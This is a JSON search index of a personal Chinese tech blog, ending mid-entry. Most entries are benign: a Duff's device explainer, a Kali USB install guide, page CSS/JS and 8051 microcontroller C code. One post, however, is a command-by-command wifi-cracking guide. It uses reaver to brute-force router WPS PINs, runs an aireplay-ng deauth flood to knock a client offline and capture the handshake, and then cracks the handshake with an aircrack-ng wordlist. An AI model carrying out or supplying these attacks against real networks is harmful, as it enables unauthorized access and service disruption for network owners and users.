{"meta":{"title":"MHuiG","subtitle":"宠辱不惊，看庭前花开花落；去留无意，望天上云卷云舒。","description":"MHuiG&amp;#39;s Blog (MHuiG的博客) MHuiG&amp;#39;s Neverland（MHuiG的梦幻岛） —— MHuiG(@MHuiG) 随便写写画画的地方 - 技术博客","author":"MHuiG","url":"https://blog.mhuig.top","root":"/"},"pages":[{"title":"","date":"2025-02-17T22:44:40.574Z","updated":"2025-02-17T22:44:40.574Z","comments":true,"path":"404.html","permalink":"https://blog.mhuig.top/404","excerpt":"","text":"404 .cls-1 { fill: #ffc541; } .cls-2 { fill: #4e4066; } .cls-3 { fill: #6f5b92; } .cls-4 { fill: #f78d5e; } .cls-5 { fill: #fa976c; } .cls-6, .cls-7, .cls-8 { fill: #b65c32; } .cls-10, .cls-6 { opacity: 0.6; } .cls-7 { opacity: 0.4; } .cls-9 { fill: #f4b73b; } .cls-11 { fill: #f9c358; } .cls-12 { fill: #9b462c; } .cls-13 { fill: #aa512e; } .cls-14 { fill: #7d6aa5; } /* animations */ .wheel { animation: wheel-rotate 6s ease infinite; transform-origin: center; transform-box: fill-box; } @keyframes wheel-rotate { 50% { transform: rotate(360deg); animation-timing-function: cubic-bezier(0.55, 0.085, 0.68, 0.53); } 100% { transform: rotate(960deg) } } .clock-hand-1 { animation: clock-rotate 3s linear infinite; transform-origin: bottom; transform-box: fill-box; } .clock-hand-2 { animation: clock-rotate 6s linear infinite; transform-origin: bottom; transform-box: fill-box; } @keyframes clock-rotate { 100% { transform: rotate(360deg) } } #box-top { animation: box-top-anim 2s linear infinite; transform-origin: right top; transform-box: fill-box; } @keyframes box-top-anim { 50% { transform: rotate(-5deg) } } #umbrella { animation: umbrella-anim 6s linear infinite; transform-origin: center; transform-box: fill-box; } @keyframes umbrella-anim { 25% { transform: translateY(10px) rotate(5deg); } 75% { transform: rotate(-5deg); } } #cup { animation: cup-rotate 3s cubic-bezier(0.455, 0.03, 0.515, 0.955) infinite; transform-origin: top left; transform-box: fill-box; } @keyframes cup-rotate { 50% { transform: rotate(-5deg) } } #pillow { animation: pillow-anim 3s linear infinite; transform-origin: center; transform-box: fill-box; } @keyframes pillow-anim { 25% { transform: rotate(10deg) translateY(5px) } 75% { transform: rotate(-10deg) } } #stripe { animation: stripe-anim 3s linear infinite; transform-origin: center; transform-box: fill-box; } @keyframes stripe-anim { 25% { transform: translate(10px, 0) rotate(-10deg) } 75% { transform: translateX(10px) } } #bike { animation: bike-anim 6s ease infinite; } @keyframes bike-anim { 0% { transform: translateX(-1300px) } 50% { transform: translateX(0); animation-timing-function: cubic-bezier(0.47, 0, 0.745, 0.715); } 100% { transform: translateX(1300px) } } #rucksack { animation: ruck-anim 3s linear infinite; transform-origin: top; transform-box: fill-box; } @keyframes ruck-anim { 50% { transform: rotate(5deg) } } .circle { animation: circle-anim ease infinite; transform-origin: center; transform-box: fill-box; perspective: 0px; } .circle.c1 { animation-duration: 2s } .circle.c2 { animation-duration: 3s } .circle.c3 { animation-duration: 1s } .circle.c4 { animation-duration: 1s } .circle.c5 { animation-duration: 2s } .circle.c6 { animation-duration: 3s } @keyframes circle-anim { 50% { transform: scale(.2) rotateX(360deg) rotateY(360deg) } } .four, #ou { animation: four-anim cubic-bezier(0.39, 0.575, 0.565, 1) infinite; } .four.a { transform-origin: bottom left; animation-duration: 3s; transform-box: fill-box; } .four.b { transform-origin: bottom right; animation-duration: 3s; transform-box: fill-box; } #ou { animation-duration: 6s; transform-origin: center; transform-box: fill-box; } @keyframes four-anim { 50% { transform: scale(.98) } }"},{"title":"所有分类","date":"2025-02-17T22:44:40.919Z","updated":"2025-02-17T22:44:40.919Z","comments":true,"path":"categories/index.html","permalink":"https://blog.mhuig.top/categories/","excerpt":"","text":""},{"title":"","date":"2025-02-17T22:44:41.737Z","updated":"2025-02-17T22:44:41.737Z","comments":true,"path":"notes/index.html","permalink":"https://blog.mhuig.top/notes/","excerpt":"","text":".fa-secondary{opacity:.4} Note Book MHuiG の笔记本 速查表 LaTeX Fontawesome Twemoji 大数据 Flink Spark Hadoop Zookeeper Hive Flume Kafka Sqoop Azkaban NoSQL Echarts 操作系统 CentOS Ubuntu Windows OS 资料库 数据通信网络 Cryptography Django 51 PDF package manager proxy settings package mirror code"},{"title":"所有标签","date":"2025-02-17T22:44:41.797Z","updated":"2025-02-17T22:44:41.797Z","comments":true,"path":"tags/index.html","permalink":"https://blog.mhuig.top/tags/","excerpt":"","text":""},{"title":"Duff's Device","date":"2022-09-02T07:09:00.000Z","updated":"2022-09-02T07:09:00.000Z","comments":true,"path":"c/c/duff-device.html","permalink":"https://blog.mhuig.top/c/c/duff-device","excerpt":"","text":"一个循环复制的函数实现: void NormalCopy(char *to,char* from,int count){ do { *to = *from++; } while (--count&gt;0);} 用 Duff’s device 方法改写后的代码: void DuffDev(char *to, char *from, int count){ int n = (count + 7) / 8; switch (count % 8) { case 0: do{ *to++ = *from++; case 7: *to++ = *from++; case 6: *to++ = *from++; case 5: *to++ = *from++; case 4: *to++ = *from++; case 3: *to++ = *from++; case 2: *to++ = *from++; case 1: *to++ = *from++; } while (--n &gt; 0); }} 时间要回到 1983 年，那是一个雨过天晴的夏天，在卢卡斯影业上班的程序员 Tom Duff，他是想为了加速一个实时动画程序，实现从一个数组复制数据到一个寄存器这样一个功能 但是达夫洞察到，若在这一过程中将一条 switch 和一个循环相结合，则可展开循环，应用的是 C 语言里面 case 标签的 Fall through 特性，实际就是没有 break 继续执行。 #include &lt;iostream&gt;using namespace std;int main() { int n = 3; switch (n) { case 0: do { cout &lt;&lt; \" 0 \" &lt;&lt; endl; case 1: cout &lt;&lt; \" 1 \" &lt;&lt; endl; case 2: cout &lt;&lt; \" 2 \" &lt;&lt; endl; case 3: cout &lt;&lt; \" 3 \" &lt;&lt; endl; } while (--n &gt; 0); }} 这段代码的主体还是 do-while 循环，但这个循环的入口点并不一定是在 do 那里，而是 switch(n)，把循环的入口定在了几个 case 标号那里。"},{"title":"拿取路由器 Pin 码","date":"2022-09-09T08:59:00.000Z","updated":"2022-09-10T04:02:00.000Z","comments":true,"path":"c/k/pin.html","permalink":"https://blog.mhuig.top/c/k/pin","excerpt":"","text":"拿 pin 码就可以直接跑出 WPA PSK 网卡监控模式airmon-ng start wlan0 扫描wash -i wlan0mon 破 pin 网卡 物理地址 信道reaver -i wlan0mon -b 00:5A:13:40:AA:F8 -c 11 -vv -K 0 直接拿到 pin 了 通过 pin 获得 wifi 密码 网卡 物理地址 pin码reaver -i wlan0mon -b 78:A1:06:B6:2A:42 -p 92975934 附录aircrack-ng - 命令清单 airmon-ng start [网卡] # 开启monitor模式airodump-ng [网卡] # 捕获附件的wifi信息airodump-ng -c [信道] --bssid [路由器MAC] -w [handshake-path] [网卡]aireplay-ng -0 [攻击次数值] -c [某连接设备MAC] -a [路由器MAC] [网卡]aircrack-ng -w [字典-path] [破解的目标握手包-path]airmon-ng stop [网卡] # 退出monitor模式 ifconfig -a 查看网卡airmon-ng start wlan0airodump-ng wlan0mon 监听网络，完了 Ctrl+C 退出 主要参数说明： # BSSID ：路由器、AP的MAC地址# PWR ：信号强度，一看就是越小越强了# Data ：传输的数据大小，大的可能在下载或看视频什么的# CH ：无线信道，要看准# ENC ：加密协议，自WPA2协议爆出重大安全漏洞，现已经出WPA3，坐等更新# ESSID ：这个就不用多说了，wifi名称，有中文可能会出现乱码哈 目标有了，开始对其进行 cap 包的监听和获取，这里要让其中连接的设备重连才能抓包其握手包，可以慢慢等待，也可以使用 deauth 洪水攻击。 airodump-ng -c 9 --bssid 78:11:DC:10:4F:66 -w /root/handshake/ wlan0mon# -w 后面的路径是存放握手包的 另起窗口，我们用 deauth 洪水攻击，让其中的一台设备掉线，它掉线后会自动连接（除非别人在 wifi 设置中勾选掉了自动连接） aireplay-ng -0 20 -a 78:11:DC:10:4F:66 -c 6C:88:14:F2:47:8C wlan0mon# -0 death模式，20为攻击次数，也可以设为0，就是一直攻击# -c 这里就是连接上的设备的MAC地址了，指定它，我们让它稳稳地掉线。 上字典（关键东西），让它慢慢破去吧 root@huan:~#aircrack-ng -w /root/wordlist.txt /root/handshake/-02.cap"},{"title":"制作 Kali 的 U 盘启动盘","date":"2022-09-09T06:09:00.000Z","updated":"2022-09-10T04:00:00.000Z","comments":true,"path":"c/k/ukali.html","permalink":"https://blog.mhuig.top/c/k/ukali","excerpt":"","text":"前期准备 一个 U 盘 官方 kali 裸机镜像 https://www.kali.org/get-kali/#kali-bare-metal 笔者这里下载的是 kali-linux-2022.3-installer-amd64.iso 虚拟机配置打开虚拟机。 选择安装镜像文件。 选择客户机操作系统 选择 debian10.x 64 位。 命名虚拟机，名称自定义；位置默认即可。 指定磁盘容量 默认，后面会删除虚拟机磁盘。 准备好虚拟机 编辑虚拟机设置 网络连接选择桥接模式 USB 选最大 3.0 以上 移除硬盘 添加硬盘 》SCSI 》使用物理磁盘 》选择设备（PD1） 》使用单个分区 》选择分区。 开启虚拟机，F2 进入 BIOS，从 CD/DVD 启动，此时将会打开 iso 镜像开始运行。 运行安装选择图形化安装 (Graphical install). 选择语言，我这里选中文简体 选择位置 中国 配置键盘 汉语 探测并挂载安装介质 配置网络 默认 域名空就行继续 设置用户名和密码 对磁盘进行分区 使用整个磁盘并配置加密的 LVM 选择要分区的磁盘继续 将修改写入磁盘并写入 LVM 吗？ 选择是。 擦除数据 设置加密密码句 结束分区设定并将修改写入磁盘 安装基本系统 图形桌面选择 Xface 选择并安装软件。。。。 安装 GREB 启动引擎 选择是 /dev/sda 结束安装进程 物理机运行进 BIOS 安全选项里面关闭 secure boot"},{"title":"","date":"2025-02-17T22:44:40.931Z","updated":"2025-02-17T22:44:40.931Z","comments":false,"path":"havefun/Coco/index.html","permalink":"https://blog.mhuig.top/havefun/Coco/","excerpt":"","text":"Coco | The Cat of MHuiG Cocoalpha The Cat of MHuiG &amp; A Computational Knowledge Engine /*************** cat-box ******************************/ #cat-box-1 { text-align:center; margin-top: 1.5rem; } #cat-box-2 { text-align:center; margin-top: 1.5rem; display: none; } #bongo-cat { width: 50%; margin: 0 0; } .typing-animation { -webkit-animation-timing-function:linear; animation-timing-function:linear; -webkit-animation-iteration-count:infinite; animation-iteration-count:infinite; -webkit-animation-duration:1200ms; animation-duration:1200ms; } path#f1-l1 { -webkit-animation-name:typing-f1-l1; animation-name:typing-f1-l1; } path#f1-l2 { -webkit-animation-name:typing-f1-l2; animation-name:typing-f1-l2; } path#f1-l3 { -webkit-animation-name:typing-f1-l3; animation-name:typing-f1-l3; } path#f2-l4 { -webkit-animation-name:typing-f2-l4; animation-name:typing-f2-l4; } path#f2-l5 { -webkit-animation-name:typing-f2-l5; animation-name:typing-f2-l5; } path#f2-l6 { -webkit-animation-name:typing-f2-l6; animation-name:typing-f2-l6; } path#f3-l7 { -webkit-animation-name:typing-f3-l7; animation-name:typing-f3-l7; } path#f3-l8 { -webkit-animation-name:typing-f3-l8; animation-name:typing-f3-l8; } path#f3-l9 { -webkit-animation-name:typing-f3-l9; animation-name:typing-f3-l9; } @-webkit-keyframes typing-f3-l9 { 0% { d:path(\"M8,25L8,25\"); } 82% { d:path(\"M8,25L8,25\"); } 92% { d:path(\"M8,25L96,25\"); } 100% { d:path(\"M8,25L96,25\"); } }@keyframes typing-f3-l9 { 0% { d:path(\"M8,25L8,25\"); } 82% { d:path(\"M8,25L8,25\"); } 92% { d:path(\"M8,25L96,25\"); } 100% { d:path(\"M8,25L96,25\"); } }@-webkit-keyframes typing-f3-l8 { 0% { d:path(\"M8,13L8,13\"); } 68% { d:path(\"M8,13L8,13\"); } 82% { d:path(\"M8,13L146,13\"); } 100% { d:path(\"M8,13L146,13\"); } }@keyframes typing-f3-l8 { 0% { d:path(\"M8,13L8,13\"); } 68% { d:path(\"M8,13L8,13\"); } 82% { d:path(\"M8,13L146,13\"); } 100% { d:path(\"M8,13L146,13\"); } } @-webkit-keyframes typing-f3-l7 { 0% { d:path(\"M0,1L0,1\"); } 60% { d:path(\"M0,1L0,1\"); } 68% { d:path(\"M0,1L96,1\"); } 100% { d:path(\"M0,1L96,1\"); } }@keyframes typing-f3-l7 { 0% { d:path(\"M0,1L0,1\"); } 60% { d:path(\"M0,1L0,1\"); } 68% { d:path(\"M0,1L96,1\"); } 100% { d:path(\"M0,1L96,1\"); } }@-webkit-keyframes typing-f2-l6 { 0% { d:path(\"M8,25L8,25\"); } 54% { d:path(\"M8,25L8,25\"); } 60% { d:path(\"M8,25L69,25\"); } 100% { d:path(\"M8,25L69,25\"); } }@keyframes typing-f2-l6 { 0% { d:path(\"M8,25L8,25\"); } 54% { d:path(\"M8,25L8,25\"); } 60% { d:path(\"M8,25L69,25\"); } 100% { d:path(\"M8,25L69,25\"); } }@-webkit-keyframes typing-f2-l5 { 0% { d:path(\"M8,13L8,13\"); } 44% { d:path(\"M8,13L8,13\"); } 54% { d:path(\"M8,13L114,13\"); } 100% { d:path(\"M8,13L114,13\"); } }@keyframes typing-f2-l5 { 0% { d:path(\"M8,13L8,13\"); } 44% { d:path(\"M8,13L8,13\"); } 54% { d:path(\"M8,13L114,13\"); } 100% { d:path(\"M8,13L114,13\"); } }@-webkit-keyframes typing-f2-l4 { 0% { d:path(\"M0,1L0,1\"); } 30% { d:path(\"M0,1L0,1\"); } 44% { d:path(\"M0,1L136,1\"); } 100% { d:path(\"M0,1L136,1\"); } }@keyframes typing-f2-l4 { 0% { d:path(\"M0,1L0,1\"); } 30% { d:path(\"M0,1L0,1\"); } 44% { d:path(\"M0,1L136,1\"); } 100% { d:path(\"M0,1L136,1\"); } }@-webkit-keyframes typing-f1-l3 { 0% { d:path(\"M8,25L8,25\"); } 24% { d:path(\"M8,25L8,25\"); } 30% { d:path(\"M8,25L61,25\"); } 100% { d:path(\"M8,25L61,25\"); } }@keyframes typing-f1-l3 { 0% { d:path(\"M8,25L8,25\"); } 24% { d:path(\"M8,25L8,25\"); } 30% { d:path(\"M8,25L61,25\"); } 100% { d:path(\"M8,25L61,25\"); } }@-webkit-keyframes typing-f1-l2 { 0% { d:path(\"M8,13L8,13\"); } 14% { d:path(\"M8,13L8,13\"); } 24% { d:path(\"M8,13L124,13\"); } 100% { d:path(\"M8,13L124,13\"); } }@keyframes typing-f1-l2 { 0% { d:path(\"M8,13L8,13\"); } 14% { d:path(\"M8,13L8,13\"); } 24% { d:path(\"M8,13L124,13\"); } 100% { d:path(\"M8,13L124,13\"); } }@-webkit-keyframes typing-f1-l1 { 0% { d:path(\"M0,1L0,1\"); } 14% { d:path(\"M0,1L160,1\"); } 100% { d:path(\"M0,1L160,1\"); } }@keyframes typing-f1-l1 { 0% { d:path(\"M0,1L0,1\"); } 14% { d:path(\"M0,1L160,1\"); } 100% { d:path(\"M0,1L160,1\"); } }#paw-right--up,#paw-right--down,#paw-left--up,#paw-left--down { -webkit-animation:blink 300ms infinite; animation:blink 300ms infinite; } #paw-right--up,#paw-left--down { -webkit-animation-delay:150ms; animation-delay:150ms; } @-webkit-keyframes blink { 0% { opacity:0; } 49% { opacity:0; } 50% { opacity:1; } }@keyframes blink { 0% { opacity:0; } 49% { opacity:0; } 50% { opacity:1; } }#laptop__code { -webkit-transform:rotateX(-37deg) rotateY(-46deg) rotateZ(-23deg) translateX(8px) translateY(20px) translateZ(-50px); transform:rotateX(-37deg) rotateY(-46deg) rotateZ(-23deg) translateX(8px) translateY(20px) translateZ(-50px); } /*************** search-form ******************************/ .search-form { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: start; -webkit-justify-content: flex-start; -ms-flex-pack: start; justify-content: flex-start; margin-top: 1.5rem; } .search-form .search-input { -webkit-box-flex: 1; -webkit-flex: 1 1 auto; -ms-flex: 1 1 auto; flex: 1 1 auto; padding: .15rem .35rem .15rem .35rem; border: 1px solid #dbdbdb; border-right: 0; border-radius: 4px 0 0 4px; background-color: transparent; } .search-form #search-input { width: 100%; height: 100%; outline: 0; border: 0; background-color: transparent; } .search-form .search-button { padding: 0; border: 1px solid #dbdbdb; border-left: 0; border-radius: 0 4px 4px 0; } .search-form #search-button { padding: 5px 5px 0 5px; outline: 0; border: 0; background-color: transparent; color: var(--ic); } /*************** search-result ******************************/ #search-result-box hr { box-sizing: initial; height: 0; overflow: visible; margin: 15px 0; overflow: hidden; background: 0 0; border: 0; border-bottom: 1px solid #dfe2e5; border-bottom-color: #eee; height: .1em; padding: 0; margin: 24px 0; background-color: #e1e4e8; } .search-result__link { color: inherit; } var ajax = (options) => { options = options || {}; options.type = (options.type || \"GET\").toUpperCase(); options.dataType = options.dataType || \"json\"; const params = formatParams(options.data); let xhr = null; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else { xhr = new ActiveXObject(\"Microsoft.XMLHTTP\"); } xhr.onreadystatechange = function () { if (xhr.readyState === 4) { const status = xhr.status; let responseText = xhr.responseText; let responseXML = xhr.responseXML; try { responseText = JSON.parse(responseText); responseXML = JSON.parse(responseXML); } catch (e) { if (responseText) { // console.error(responseText) // console.error(e) } } if (status >= 200 && status < 300) { if (options.success) { try { options.success(responseText, responseXML); } catch (e) { if (responseText) { console.error(responseText); console.error(e); } } } } else { options.error && options.error(status, responseText); } } }; if (options.type == \"GET\") { xhr.open(\"GET\", options.url + \"?\" + params, true); xhr.send(null); } else if (options.type == \"POST\") { xhr.open(\"POST\", options.url, true); xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); xhr.send(params); } }; var formatParams = (data) => { const arr = []; for (const name in data) { arr.push(encodeURIComponent(name) + \"=\" + encodeURIComponent(data[name])); } arr.push((\"v=\" + Math.random()).replace(\".\", \"\")); return arr.join(\"&\"); }; function GetCocoAns(qustion){ ajax({ url: \"https://api.mhuig.top/CocoAPI\", type: \"GET\", data: { s: qustion, // accesstoken:window.AT.accesstoken, }, success: function (data) { if (data) { console.log(data) PutCocoAns(data) } }, error: function (status, data) { console.log(status, data) }, }); } function PutCocoAnsListItem(Item){ if(!Item) return \"\" return ` `+Item.htmlTitle+` `+Item.htmlSnippet+` `; } function PutCocoAns(data){ document.querySelector(\"#search-result\").innerHTML=` English answers provided by Coco: `+data.en+` Chinese answers provided by Coco: `+data.cn+` `; document.querySelector(\"#search-more-info\").innerHTML=` More info search On this Site ` document.querySelector(\"#search-info-site\").innerHTML=`Reference Links provided by Coco:` if(data.site){ let data_site=\"\" for (let i=0;i{ // CocoSearch() // } // loadJS(\"https://api.mhuig.top/ReCaptcha/getscript\") } document.querySelector(\"#search-input\").onkeydown = function() { if (13 == window.event.keyCode){ console.log(\"Enter\"); StartCocoOpenSearch(); } }; // test // let data={ // cn: \"Coco 是 MHuiG 的猫，Coco 也是一个计算知识引擎或答案引擎。\", // en: \"Coco is The Cat of MHuiG, Coco is also a computational knowledge engine or answer engine.\" // } // PutCocoAns(data) if(document.documentElement.clientWidth > 500){ document.querySelector(\"#fourier-cat-box\").innerHTML=`` document.querySelector(\"#fourier-cat\").contentWindow.addEventListener(\"click\",()=>{ document.querySelector(\"#fourier-cat-info\").innerHTML=` More info of this Fourier Transform Cat An Interactive Introduction to Fourier Transforms - Jez Swanson 「离散傅里叶变换」和「离散傅里叶反变换」 - Xecades ` },false) }"},{"title":"","date":"2025-02-17T22:44:40.938Z","updated":"2025-02-17T22:44:40.938Z","comments":false,"path":"havefun/access-analysis/index.html","permalink":"https://blog.mhuig.top/havefun/access-analysis/","excerpt":"","text":"Access analysis Access analysisalpha the access data analysis engine 数据自 2021-07-11 起开始统计 TLS Version Country Language Screen Size Display Size 访客时间分布 var ajax = (options) => { options = options || {}; options.type = (options.type || \"GET\").toUpperCase(); options.dataType = options.dataType || \"json\"; const params = formatParams(options.data); let xhr = null; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else { xhr = new ActiveXObject(\"Microsoft.XMLHTTP\"); } xhr.onreadystatechange = function () { if (xhr.readyState === 4) { const status = xhr.status; let responseText = xhr.responseText; let responseXML = xhr.responseXML; try { responseText = JSON.parse(responseText); responseXML = JSON.parse(responseXML); } catch (e) { if (responseText) { // console.error(responseText) // console.error(e) } } if (status >= 200 && status < 300) { if (options.success) { try { options.success(responseText, responseXML); } catch (e) { if (responseText) { console.error(responseText); console.error(e); } } } } else { options.error && options.error(status, responseText); } } }; if (options.type == \"GET\") { xhr.open(\"GET\", options.url + \"?\" + params, true); xhr.send(null); } else if (options.type == \"POST\") { xhr.open(\"POST\", options.url, true); xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); xhr.send(params); } }; var formatParams = (data) => { const arr = []; for (const name in data) { arr.push(encodeURIComponent(name) + \"=\" + encodeURIComponent(data[name])); } arr.push((\"v=\" + Math.random()).replace(\".\", \"\")); return arr.join(\"&\"); }; function getPieChart(id, a, b) { var myChart = echarts.init(document.getElementById(id), \"shine\"); var option = { tooltip: { trigger: \"item\", formatter: \"{a} {b} : {c} ({d}%)\" }, series: [ { name: \"类别\", type: \"pie\", radius: \"55%\", center: [\"50%\", \"60%\"], data: b, emphasis: { itemStyle: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: \"rgba(0, 0, 0, 0.5)\", }, }, }, ], }; if(a){ option.legend={ orient: \"vertical\", left: \"left\", data: a } } myChart.setOption(option); } function getTimePieChart(id, h) { var myChart = echarts.init(document.getElementById(id), \"shine\"); function getdata(a) { for (var i = 0; i < h.length; i++) { if (\"\" + a == h[i].name) { return h[i].value; } } } function data() { var d = []; for (var i = 0; i < 24; i++) { d.push({ name: i + \"~\" + (i + 1), value: getdata(i) }); } return d; } var option = { tooltip: { trigger: \"item\", position: [\"48.5%\", \"49.2%\"], backgroundColor: \"rgba(50,50,50,0)\", textStyle: { color: \"yellow\", fontWeight: \"bold\" }, formatter: \"{d}%\", }, series: [ { type: \"pie\", radius: [\"5%\", \"70%\"], roseType: \"area\", color: [\"#3fa7dc\"], data: data(), labelLine: { normal: { show: false } }, label: { normal: { show: false } }, itemStyle: { normal: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: \"rgba(0, 0, 0, 0.5)\", }, emphasis: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: \"rgba(0, 0, 0, 0.5)\", }, }, }, { name: \"\", type: \"gauge\", min: 0, max: 24, startAngle: 90, endAngle: 449.9, radius: \"82%\", splitNumber: 24, clockwise: false, animation: false, detail: { formatter: \"{value}\", textStyle: { color: \"#63869e\" } }, detail: { show: false }, axisTick: { show: false }, axisLine: { lineStyle: { color: [ [0.25, \"#63869e\"], [0.75, \"#ffffff\"], [1, \"#63869e\"], ], width: \"40%\", shadowColor: \"#0d4b81\", shadowBlur: 40, opacity: 1, }, }, splitLine: { length: 5, lineStyle: { color: \"#ffffff\", width: 2 }, }, axisLabel: { formatter: function (v) { return v ? v : \"\"; }, textStyle: { color: \"red\", fontWeight: 700 }, }, itemStyle: { normal: { color: \"green\", width: 2 } }, }, { name: \"\", type: \"gauge\", min: 0, max: 24, startAngle: 90, endAngle: 449.9, radius: \"72%\", splitNumber: 24, clockwise: false, animation: false, detail: { formatter: \"{value}\", textStyle: { color: \"#63869e\" } }, detail: { show: false }, axisTick: { show: false }, axisLine: { lineStyle: { color: [[1, \"#E8E8E8\"]], width: \"10%\", opacity: 0.8, }, }, splitLine: { show: true, length: \"92%\", lineStyle: { color: \"grey\", width: \"1\" }, }, axisLabel: { show: false, formatter: function (v) { return v ? v : \"\"; }, textStyle: { color: \"#fb5310\", fontWeight: 700 }, }, itemStyle: { normal: { color: \"green\", width: 2, borderWidth: 3 }, }, }, ], }; myChart.setOption(option); } var loadscript = (src) => { return new Promise(resolve => { setTimeout(function () { var HEAD = document.getElementsByTagName(\"head\")[0] || document.documentElement; var script = document.createElement(\"script\"); script.setAttribute(\"type\", \"text/javascript\"); script.setAttribute(\"src\", src); script.onload = resolve HEAD.appendChild(script); }); }); } randomStr = function (num) { return Math.random().toString(36).slice(-num); }, randomNum = function (num) { return Math.ceil(Math.random() * (num - 1)) + 1; }; function GetAnalyticsResults() { loadscript(\"https://cdn.jsdelivr.net/npm/echarts@4.8.0/dist/echarts.min.js\").then(()=>{ loadscript(\"https://cdn.jsdelivr.net/npm/mhg@0.0.0/js/echarts.shine.js\").then(()=>{ ajax({ url: \"https://cdn.jsdelivr.net/gh/MHG-LAB/Web-Log-Analytics-Results@main/results.json?nocache=1&t=\"+new Date().getTime()+\"&\"+randomStr(randomNum(4)) + '=' + randomStr(randomNum(6)), type: \"GET\", success: function (data) { // console.log(data) window.WebLogAnalyticsResults=data AnalyticsResults() }, error: function (status, data) { console.log(status, data) }, }); }) }) } function AnalyticsResults() { getPieChart(\"tlsversion\", window.WebLogAnalyticsResults.TlsVersion.legend, window.WebLogAnalyticsResults.TlsVersion.series); getPieChart(\"country\", window.WebLogAnalyticsResults.CfIpCountry.legend, window.WebLogAnalyticsResults.CfIpCountry.series); getPieChart(\"language\", window.WebLogAnalyticsResults.Language.legend, window.WebLogAnalyticsResults.Language.series); getPieChart(\"screensize\", 0, window.WebLogAnalyticsResults.ScreenSize.series); getPieChart(\"displaysize\", 0, window.WebLogAnalyticsResults.DisplaySize.series); getTimePieChart(\"visitstime\", window.WebLogAnalyticsResults.Hours.series); } GetAnalyticsResults()"},{"title":"","date":"2022-05-10T01:41:00.000Z","updated":"2022-05-10T01:41:00.000Z","comments":true,"path":"notes/51/index.html","permalink":"https://blog.mhuig.top/notes/51/","excerpt":"","text":".fa-secondary{opacity:.4} 51 51 .prev-next{ display: none !important; }"},{"title":"","date":"2018-12-02T09:51:00.000Z","updated":"2022-05-10T01:32:00.000Z","comments":true,"path":"notes/51/key-clock.html","permalink":"https://blog.mhuig.top/notes/51/key-clock","excerpt":"","text":"按键时钟 51 按键时钟 /* * 按键时钟 秒表，可以通过按键开始或是停止 */#include&lt;reg52.h&gt;#define uchar unsigned charsbit key =P3 ^ 3; //按键uchar counter=0,tmp,second=0,minute=0, change = 1;int led[]= {0xc0, 0xf9, 0xa4, 0xb0, 0x99, 0x92, 0x82, 0xf8, 0x80, 0x90}; //数字0-9int _led[]= {0x40, 0x79, 0x24, 0x30, 0x19, 0x12, 0x02, 0x78, 0x00, 0x10};void clockrun();void main() { //设置TMOD寄存器 TMOD=0X01; //设置TMOD寄存器 TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; EA=1; //开 中断 ET0=1; TR0=1; if(key==0) {//按键按下 while(1) { clockrun(); } }}void zhongduan()interrupt 1 { TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; TF0=0; TR0=1; counter++; if(counter==200) { counter=0; second++; if(second==60) { second=0; minute++; } } change = 1;}void clockrun() { tmp=counter%4; switch(tmp) { case 0: P2 = 0x7f; P0 = led[second%10]; break; case 1: P2 = 0xbf; P0 = led[second/10]; break; case 2: P2 = 0xdf; P0 = _led[minute%10]; break; case 3: P2 = 0xef; P0 = led[minute/10]; break; }}"},{"title":"","date":"2018-12-02T09:50:00.000Z","updated":"2022-05-10T01:37:00.000Z","comments":true,"path":"notes/51/stop-watch.html","permalink":"https://blog.mhuig.top/notes/51/stop-watch","excerpt":"","text":"秒表 51 秒表 /** 秒表*/#include&lt;reg52.h&gt;#define uchar unsigned charuchar counter=0,tmp,second=0,minute=0, change = 1;int led[]= {0xc0, 0xf9, 0xa4, 0xb0, 0x99, 0x92, 0x82, 0xf8, 0x80, 0x90}; //数字0-9int _led[]= {0x40, 0x79, 0x24, 0x30, 0x19, 0x12, 0x02, 0x78, 0x00, 0x10};void main() { //设置TMOD寄存器 TMOD=0X01; //设置TMOD寄存器 TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; EA=1; //开 中断 ET0=1; TR0=1; while(1) { tmp=counter%4; switch(tmp) { case 0: P2 = 0x7f; P0 = led[second%10]; break; case 1: P2 = 0xbf; P0 = led[second/10]; break; case 2: P2 = 0xdf; P0 = _led[minute%10]; break; case 3: P2 = 0xef; P0 = led[minute/10]; break; } }}void zhongduan()interrupt 1 { TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; TF0=0; TR0=1; counter++; if(counter==200) { counter=0; second++; if(second==60) { second=0; minute++; } } change = 1;}"},{"title":"","date":"2018-12-02T09:54:00.000Z","updated":"2022-05-10T01:38:00.000Z","comments":true,"path":"notes/51/temperature-humidity.html","permalink":"https://blog.mhuig.top/notes/51/temperature-humidity","excerpt":"","text":"温湿度 AT89S52 或 STC89C52RC 串口发送温湿度数据 //****************************************************************////单片机 AT89S52 或 STC89C52RC//功能 串口发送温湿度数据 晶振 11.0592M 波特率 9600//硬件 sbit TXP口为通讯口连接DHT11,DHT11的电源和地连接单片机的电源和地，单片机串口加MAX232连接电脑//****************************************************************//#include &lt;STDIO.H&gt;#include &lt;reg51.h&gt;#include &lt;intrins.h&gt;//typedef unsigned char U8; /* defined for unsigned 8-bits integer variable 无符号8位整型变量 */typedef signed char S8; /* defined for signed 8-bits integer variable 有符号8位整型变量 */typedef unsigned int U16; /* defined for unsigned 16-bits integer variable 无符号16位整型变量 */typedef signed int S16; /* defined for signed 16-bits integer variable 有符号16位整型变量 */typedef unsigned long U32; /* defined for unsigned 32-bits integer variable 无符号32位整型变量 */typedef signed long S32; /* defined for signed 32-bits integer variable 有符号32位整型变量 */typedef float F32; /* single precision floating point variable (32bits) 单精度浮点数（32位长度） */typedef double F64; /* double precision floating point variable (64bits) 双精度浮点数（64位长度） *///#define uchar unsigned char#define uint unsigned int#define Data_0_time 4//----------------------------------------------////----------------IO口定义区--------------------////----------------------------------------------//sbit TXP = P2^0 ;//----------------------------------------------////----------------定义区--------------------////----------------------------------------------//U8 U8FLAG,k;U8 U8count,U8temp;U8 U8T_data_H,U8T_data_L,U8RH_data_H,U8RH_data_L,U8checkdata;U8 